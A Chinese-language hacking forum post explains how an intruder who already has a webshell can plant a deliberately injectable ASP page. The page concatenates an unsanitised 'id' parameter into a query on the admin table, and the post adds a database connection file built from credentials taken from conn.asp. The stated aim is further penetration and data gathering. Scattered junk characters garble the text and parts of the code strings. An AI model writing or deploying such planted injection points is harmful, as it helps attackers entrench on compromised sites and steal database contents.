自己构造注入点方便入侵. h% t& ^2 V4 `1 U
& f+ c$ u7 Y* b* i2 j今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息 m/ Q* l# v/ |
* X! V8 |' s Y这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!. W+ h* y, F; r% i( A, \9 Y
( }$ ~: g' j% S0 b8 x; u* H首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和- M/ g1 ]' F( k" G5 E
9 n4 r2 `. T2 E$ G5 C/ E- c* U! b8 A
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表' G' w! ? ]+ r/ n3 i8 s
1 F* X7 C' y8 S8 _( E5 \2 g, }
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
- l1 [/ E5 B2 L( }
1 C& X4 J8 X- E$ \6 I" G程序代码4 W# ]$ A1 |2 e8 n, n0 f \' ?! n
<!--#include file="xx.asp"-->
7 Q$ [8 ^6 i: K5 @/ P: m<%& Y0 M6 z7 }3 U- R; N' T! t
set rs=server.createobject("ADODB.recordset")
4 Q; S1 W, D! u6 ?# i- o! _id = request("id")
( G3 H2 `, u; `% ~8 C/ ?) J: jstrSQL = "select * from admin where id=" & id
% L" m* C9 y' \5 T2 f7 |rs.open strSQL,conn,1,3% \- a0 {0 M/ Z0 G
rs.close
6 U+ n, P! Q8 U2 ?1 h$ o%>% B, [2 o% x. y2 e. ^/ K9 o
9 f1 C4 a" m& x" O$ V7 Q4 F把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
3 {6 R4 {; T+ u: w- p6 Q# L
% v' g I, N5 d6 F你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!4 r, y& U, Q8 a: R8 e% u
( x. y' G, A3 D4 B( B, o
然后就要构造一个连接数据库的文件了,代码如下:
6 v1 l6 `, H0 |$ l程序代码
. Z4 U6 ^: m, {<% 9 N' ?: j7 L, N; e' Q
strSQLServerName = "000.000.000.000" '服务器名称或地址3 n) L( A$ d6 G& O
strSQLDBUserName = "sqlname" '数据库帐号
4 v6 G3 w- X3 vstrSQLDBPassword = "sqlpass" '数据库密码: [" F8 k# u* O& C1 P( B& Z( I w2 `3 h7 i
strSQLDBName = "sqldataname" '数据库名称, V+ ~/ H3 _$ t: \1 z a( r7 i5 o. A
Set conn = Server.CreateObject("ADODB.Connection")
1 T j+ A* l# O2 U, H) WstrCon = " rovider=SQLOLEDB.1 ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & " assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
2 B- q; O% l% ?4 @) y7 I/ X! econn.open strCon9 T [ U1 o+ w! [- H4 s; D
%>
5 P: T: z3 n2 b! y
3 X! U; ^. `, X. H$ U! `* q这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,( D! s A1 f2 _* ~
2 W% D5 M, v6 G/ B, W0 o; ?; r# g就这样,正常情况下,就OK了,伪造成功……( Y2 U& X" x; M+ ], a5 @
- K7 s: m* e: m( d! y# j4 v
如果有什么问题可以提出来大家一起探讨解决。 |